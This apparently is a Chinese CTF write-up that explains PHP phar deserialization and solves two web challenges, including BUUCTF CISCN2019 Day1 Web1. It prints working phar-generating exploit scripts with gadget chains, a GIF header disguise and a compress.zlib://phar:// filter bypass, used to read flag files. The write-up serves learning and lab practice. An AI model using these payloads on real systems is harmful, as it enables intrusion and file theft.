文章目录
前言
这题比赛的时候,我一脸懵逼,大佬提示才知道源码泄露。但是之前没做过 phar 反序列化的题,二脸懵逼。还好源码没删,自己搭建了环境,看着大佬们的wp复现一番。点击打开题目 最近学的 docker,不熟练,问题不断,如果环境有问题随时联系我, VPS 20年12月10号过期,望见谅。
一、什么是 phar 反序列化
利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。phar简介
1.三个条件
- 可以上传 phar 文件
- 有可以利用的魔术方法
- 文件操作函数参数可控
2.生成 phar 文件的常见代码
$phar = new Phar("phar.phar");
生成 phar 文件,文件名任意,但是扩展名必须是 phar,生成之后可以任意更改
$phar->startBuffering();
$phar->stopBuffering();
不是很明白什么意思,仅仅认识 start 和 stop 两个单词,大概是对 phar 对象的操作都在这中间,类似于 打开文件流—>操作文件—>关闭文件流??
$phar->setStub("<?php __HALT_COMPILER(); ?>");
如名,设置 stub,php 以 __HALT_COMPILER(); 来识别 phar ,前面可以有任意数据,php 仅从此开始识别
$phar ->addFromString('test.txt','test');
不是很懂这个到底什么用,但是我看了每份代码都有,而且 test.txt 并不一定需要存在
$c = new test();
$phar -> setMetadata($c); //将自定义 meta-data 存入 manifest
这是重点,$c 将以序列化的形式保存在 phar 文件中
二、题目分析
下载源码
源码在 web 目录下的 www.zip 中,直接访问下载源码
classes.php
首先是 Reader 类,看到 file_get_contents() 可以想到文件读取,利用 read方法 中的 file_get_contents() 读取 phar 文件,反序列化后执行 __set() 中的 file_get_contents() 读取 flag
那么问题就变成了如何执行 __set() 方法
这时候看 User 类中的 __toString() 方法 ,里面有这么一句$this->nickname->backup=$this->backup;
给类对象一个私有属性或不存在的属性赋值时,如果存在 __set() 方法,那么就会执行该方法
__set() 类似的还有
__get(),调用私有属性或不存的属性时,执行该方法
__call() ,如果调用的方法不存在时,就会执行该方法
那么就好办了,只要执行 User 类的 __toString() 方法,并将 $bickup 赋值为 /flag 就能得到 flag
那么如何执行 __toString() 呢? 可以看到 dbCtrl 类,中有个 echo ,如果能 echo 类的对象,就能触发类中的 __toString() 方法,所以将 dbCtrl 类中的 token 属性赋值为 User 类的对象,那么就大功告成了
能触发 __toString() 的有 echo print printf 等,
var_dump print_r 等则不能触发
生成 phar 文件
来自Tr0jAn大佬,这应该已经是最简洁的了,我就不献丑了吧
<?php
Class Reader{}
Class User{
public $nickname;
public $backup="/flag";
}
class dbCtrl{
public $token;
}
$a = new Reader();
$b = new User();
$b->nickname = $a;
$c = new dbCtrl();
$c->token = $b;
$phar = new Phar('Phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置 stub,增加 gif 文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$phar -> setMetadata($c); //将自定义 meta-data 存入 manifest
$phar -> stopBuffering();
将 php.ini 中 phar.readonly 的值改为 Off ,去掉前面的注释符 ‘;’,即 phar.readonly=Off
,运行该代码,可生成 phar 文件,将扩展名改为 gif,如图
执行反序列化
在源码泄露中,还可以看到 web 下有 upload 页面和 read 页面
upload 中就一些简单的过滤,绕过已经在前面做了,不是重点
主要看 read,read 中调用了 classes.php 中的 Reader 类的 read() 方法,对传入的 $filename 值进行了过滤,可以看到,$filename 不能以 phar 开头
但是可以使用 compress.zlib://phar:// 去访问 phar 文件
在 upload.php 上传文件得到路径
在 read.php 读取 phar.gif,得到 flag
三、趁热打铁(buu [CISCN2019 华北赛区 Day1 Web1])
任意文件读取
注册登陆,来到一个文件上传的页面,随便上传一个文件,出现了文件列表,并提供了 下载 和 删除 操作
联想到任意文件读取,点击 下载 并抓包,如图更改 filename 的值,读取 index.php
根据提示,继续读取 class.php 以及 download.php 和 delete.php
class.php
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
File 类的 close() 方法存在敏感函数,file_get_contents($this->filename)
,查看一下哪里调用了 close()
在User类的魔术方法 __destruct() 中
容易想到
创建 File 类的对象,并将 filename 赋为 /flag.txt,然后创建一个 User 类的对象,将 File 的对象赋给 User 的属性 db
乍一想,好像没毛病,但是会发现没有任何回显,因为虽然虽然得到了文件内容,但是并没有输出函数将它输出,
继续分析 class.php,看到 FileList 类有个魔术方法 __call(),刚好$this->db->close();
可以触发该魔术方法
FileList 类的另一个魔术方法 __destruct(),存在 class.php 中的唯一输出
代码比较多,整体分析一下 FIleList 类
先看__construct()
__construct() 的重点在创建了一个一维数组和一个二维数组,其中 files 存的是 属性filename被赋值了的File类 ,理清楚 FileList 的属性是什么类型之后再看 __call() 方法就很简单了
注释中写得很清楚,如果 $func 是 close,$filename 是 /flag.txt 的话会发生什么呢,结果已经显而易见了
再来看看 __destruct()
可以看到,他最终会显示二维数组 results 的值,而 results 的值根据前面分析应该是 $func($filename)
的结果
生成 phar 文件
<?php
class User {
public $db;
}
class FileList {
private $files=array();
function __construct(){
$file = new File();
array_push($this->files,$file);
}
}
class File {
public $filename = '/flag.txt';
}
$user = new User();
$filelist = new FileList();
$user->db = $filelist;
$phar = new Phar('Phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar ->addFromString('test.txt','test');
$phar -> setMetadata($user);
$phar -> stopBuffering();
rename('Phar.phar','Phar.gif');
?>
get flag
可以看到 delete.php 调用了 File 类的 delete() 方法,而 delete() 方法使用了 unlink() 函数,该函数可以可用来执行 phar 反序列化,参考之前提到的这篇文章 phar简介
上传生成文件的 phar 文件,点击 删除 选项并抓包,修改 filename 如下,成功返回 flag
四、总结
其实和普通的反序列化也没什么区别,不过要以 phar 文件为踏板,达到反序列化的目的,关键是要能上传和用 phar 协议访问 phar 文件
萌新一个,望大佬们多多指点